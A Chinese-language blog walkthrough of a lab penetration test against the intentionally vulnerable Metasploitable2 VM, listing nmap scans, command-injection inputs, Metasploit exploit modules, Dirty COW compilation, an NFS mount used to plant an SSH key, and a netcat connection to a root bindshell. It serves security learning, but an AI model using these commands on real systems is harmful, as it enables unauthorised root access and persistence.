MSF对Metasploitable2-Linux的渗透测试

实验环境: 攻击机 kali IP: 192.168.2.20
靶机 Metasploitable2-Linux IP: 未知
靶机下载地址: 传送门

一.实验步骤

  1. 信息收集(先进行主机发现,然后端口识别,服务扫描)
    MSF对Metasploitable2-Linux的渗透测试_第1张图片
    nmap -sV -O -T4 192.168.2.20/24

Nmap scan report for 192.168.2.128
Host is up (0.0010s latency).
Not shown: 977 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open tcpwrapped
1099/tcp open rmiregistry GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:9E:3D:84 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

确认目标IP是 192.168.2.128
2. 发现端口22,23 即ssh,telnet 服务尝试使用弱口令
MSF对Metasploitable2-Linux的渗透测试_第2张图片
ssh配置使用了次数限制,因此ssh爆破也不可能了。
telnet尝试:
MSF对Metasploitable2-Linux的渗透测试_第3张图片
然后使用表白四联:
whoami pwd uname -a echo $SHELL

msfadmin@metasploitable:~$ whoami
msfadmin
msfadmin@metasploitable:~$ pwd
/home/msfadmin
msfadmin@metasploitable:~$ uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
msfadmin@metasploitable:~$ echo S H E L L / b i n / b a s h m s f a d m i n @ m e t a s p l o i t a b l e :   SHELL /bin/bash msfadmin@metasploitable:~ SHELL/bin/bashmsfadmin@metasploitable: 

python -c ‘import pty;pty.spawn("/bin/bash")’
在这里插入图片描述
使用ftp 连接服务器测试能否上传文件:
MSF对Metasploitable2-Linux的渗透测试_第4张图片
访问80端口:
MSF对Metasploitable2-Linux的渗透测试_第5张图片
默认密码,进入dvwa。先修改级别,寻找文件上传功能;
MSF对Metasploitable2-Linux的渗透测试_第6张图片
上传一句话木马,内容如下;

 

然后使用菜刀连接:抓包分析过程
MSF对Metasploitable2-Linux的渗透测试_第7张图片
一直卡在这个地方,下面是我抓的包
MSF对Metasploitable2-Linux的渗透测试_第8张图片
文件POST方法请求成功了 但是随即由服务器发起FIN断开连接 4次挥手。

使用命令行注入,获取更多信息:
MSF对Metasploitable2-Linux的渗透测试_第9张图片
用户名遍历: /cat/passwd

PING 192.168.2.20 (192.168.2.20) 56(84) bytes of data.
64 bytes from 192.168.2.20: icmp_seq=1 ttl=64 time=0.000 ms
64 bytes from 192.168.2.20: icmp_seq=2 ttl=64 time=0.463 ms
64 bytes from 192.168.2.20: icmp_seq=3 ttl=64 time=0.591 ms

— 192.168.2.20 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.000/0.351/0.591/0.254 ms
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/bin/sh
bin❌2:2:bin:/bin:/bin/sh
sys❌3:3:sys:/dev:/bin/sh
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/bin/sh
man❌6:12?/var/cache/man:/bin/sh
lp❌7:7:lp:/var/spool/lpd:/bin/sh
mail❌8:8:mail:/var/mail:/bin/sh
news❌9:9:news:/var/spool/news:/bin/sh
uucp❌10:10:uucp:/var/spool/uucp:/bin/sh
proxy❌13:13:proxy:/bin:/bin/sh
www-data❌33:33:www-data:/var/www:/bin/sh
backup❌34:34:backup:/var/backups:/bin/sh
list❌38:38:Mailing List Manager:/var/list:/bin/sh
irc❌39:39:ircd:/var/run/ircd:/bin/sh
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody❌65534:65534:nobody:/nonexistent:/bin/sh
libuuid❌100:101::/var/lib/libuuid:/bin/sh
dhcp❌101:102::/nonexistent:/bin/false
syslog❌102:103::/home/syslog:/bin/false
klog❌103:104::/home/klog:/bin/false
sshd❌104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin❌1000:1000:msfadmin,:/home/msfadmin:/bin/bash
bind❌105:113::/var/cache/bind:/bin/false
postfix❌106:115::/var/spool/postfix:/bin/false
ftp❌107:65534::/home/ftp:/bin/false
postgres❌108:117:PostgreSQL administrator,:/var/lib/postgresql:/bin/bash
mysql❌109:118:MySQL Server,:/var/lib/mysql:/bin/false
tomcat55❌110:65534::/usr/share/tomcat5.5:/bin/false
distccd❌111:65534:?:/bin/false
user❌1001:1001:just a user,111,:/home/user:/bin/bash
service❌1002:1002:,:/home/service:/bin/bash
telnetd❌112:120::/nonexistent:/bin/false
proftpd❌113:65534::/var/run/proftpd:/bin/false
statd❌114:65534::/var/lib/nfs:/bin/false
snmp❌115:65534::/var/lib/snmp:/bin/false

k||uname -a
MSF对Metasploitable2-Linux的渗透测试_第10张图片
命令行注入方式;
a&&b a命令成功执行就执行b,否则不执行b
a&b a错误执行b;a正确只执行a
a|b 管道符
a||b a错误执行b;a正确只执行a

a||pwd 查看当前用户路径
MSF对Metasploitable2-Linux的渗透测试_第11张图片
1.Distcc攻击实验 3632端口
启动msf use exploit/unix/misc/distcc_exec模块
MSF对Metasploitable2-Linux的渗透测试_第12张图片
设置 目标主机IP,以及监听主机
MSF对Metasploitable2-Linux的渗透测试_第13张图片
exploit 并且抓包:
MSF对Metasploitable2-Linux的渗透测试_第14张图片
用户名为 daemon 说明 3632端口对应的服务是daemon用户创建的。
MSF对Metasploitable2-Linux的渗透测试_第15张图片
接下来就要想办法提权了。
先利用 python -c ‘import pty;pty.spawn(“bin/bash”)’ 生成一个shell
在这里插入图片描述
查看/proc/version 查看内核版本 2.6 可以使用脏牛提权

  1. 编译C源代码
    root@kali:~# gcc -pthread dirty.c -o exp -lcrypt
    然后要把该exp传过去,让地权限用户能够使用,放权
    2.chmod 777 exp
    3 然后使用ssh,或者ftp,wget上传
    在这里插入图片描述
    由于不知道靶机root密码。因此行不通
  2. 在kali上搭建一个ftp服务器,在靶机上连
    在这里插入图片描述
    MSF对Metasploitable2-Linux的渗透测试_第16张图片
    MSF对Metasploitable2-Linux的渗透测试_第17张图片
    说明:靶机低权限用户必须是在自己的根目录下才可以下载文件
    MSF对Metasploitable2-Linux的渗透测试_第18张图片
    在这里插入图片描述
    赋予可执行权限 chmod 777 exp
    在这里插入图片描述
    该shell 不能执行可执行文件.
    漏洞利用方式二:
  3. 进入msf 搜索drb
    MSF对Metasploitable2-Linux的渗透测试_第19张图片
    远程代码可执行漏洞
    MSF对Metasploitable2-Linux的渗透测试_第20张图片
    druby 默认端口是8787
    MSF对Metasploitable2-Linux的渗透测试_第21张图片
    MSF对Metasploitable2-Linux的渗透测试_第22张图片
    利用远程代码执行漏洞 拿到的是最高权限 root。然后可以种植后门,下次访问直接进去。
    注意:
    在这里插入图片描述
    用户第一次退出,还可以进入;第二次退出导致服务器端 超时等待。MSF对Metasploitable2-Linux的渗透测试_第23张图片
    此刻就不能进去了
    MSF对Metasploitable2-Linux的渗透测试_第24张图片
    漏洞利用方式三:
  4. 对6667,6697 unreal IRcd的利用
    MSF对Metasploitable2-Linux的渗透测试_第25张图片
    MSF对Metasploitable2-Linux的渗透测试_第26张图片
    MSF对Metasploitable2-Linux的渗透测试_第27张图片
    直接拿到了 root。
    漏洞利用 方式四:(linux NFS共享目录配置漏洞)
    (1)rpcinfo -p 192.168.2.128 查看nfs是否开放
    MSF对Metasploitable2-Linux的渗透测试_第28张图片
    (2) 查看目标设置的共享目录列表
    showmount -e 192.168.2.128 /* 根目录下的所有
    在这里插入图片描述
    (3)生成rsa 公钥
    ssh-keygenMSF对Metasploitable2-Linux的渗透测试_第29张图片
    在渗透机kali下新建msftables目录,以备后面挂载用
    在这里插入图片描述
    将靶机的根目录挂载到 /tmp/msftables :
    mount -o nolock -t nfs 192.168.2.128:/ /tmp/msftables
    在这里插入图片描述
    将kali上生成的公钥放到靶机的authriaed keys目录下:
    在这里插入图片描述
    MSF对Metasploitable2-Linux的渗透测试_第30张图片
    成功访问! 并且是root权限。

漏洞利用方式五: msf对445端口的利用
use exploit/multi/samda/usermap_script
MSF对Metasploitable2-Linux的渗透测试_第31张图片
MSF对Metasploitable2-Linux的渗透测试_第32张图片
MSF对Metasploitable2-Linux的渗透测试_第33张图片
可以看到已经拿到root权限。
漏洞方式利用六:利用vsftpd漏洞
启动Msf,利用ftp模块
use exploit/unix/ftp/vsftpd_234_backdoor

MSF对Metasploitable2-Linux的渗透测试_第34张图片
直接拿到root。

漏洞利用方式七: msf对1099端口的java RMI服务攻击利用
可以参考:https://www.exploit-db.com/exploits/17535/
MSF对Metasploitable2-Linux的渗透测试_第35张图片
set payload 然后exploit 需要将url通过靶机发送给kali;和ms10_046利用方式类似。
可参考https://blog.csdn.net/weixin_43762939/article/details/99693480
然后执行session -i 1就可以。
漏洞利用方式八:
利用后门
MSF对Metasploitable2-Linux的渗透测试_第36张图片
nc连接反弹shell即可
MSF对Metasploitable2-Linux的渗透测试_第37张图片
连接成功。
漏洞利用九: 利用vnc 5900
启动msf. 扫描模块
auxiliary(scanner/vnc/vnc_none_auth) >
然后使用登录模块。发现可以利用
使用美杜莎:

Medusa 支持 AFP,CVS,FTP,HTTP,IMAP,MS-SQL,MySQL,NCP(Netware),NNTP
PcAnywhere,POP3,PostgreSQL,rexec,rlogin,rsh,SMB,SMTP SNMP,SSHv2,SVN,Telnet,VmAuthd,VNC密码爆破工具。

在这里插入图片描述
在这里插入图片描述
由于vnc配置 限制了次数 因此爆破失败。
后门还有几个端口,理论上来说每一个端口都对应一条路,我相信随着深入的学习,渗透目标的思维也会越来越广。

你可能感兴趣的:(metasploitable2,菜鸟教程)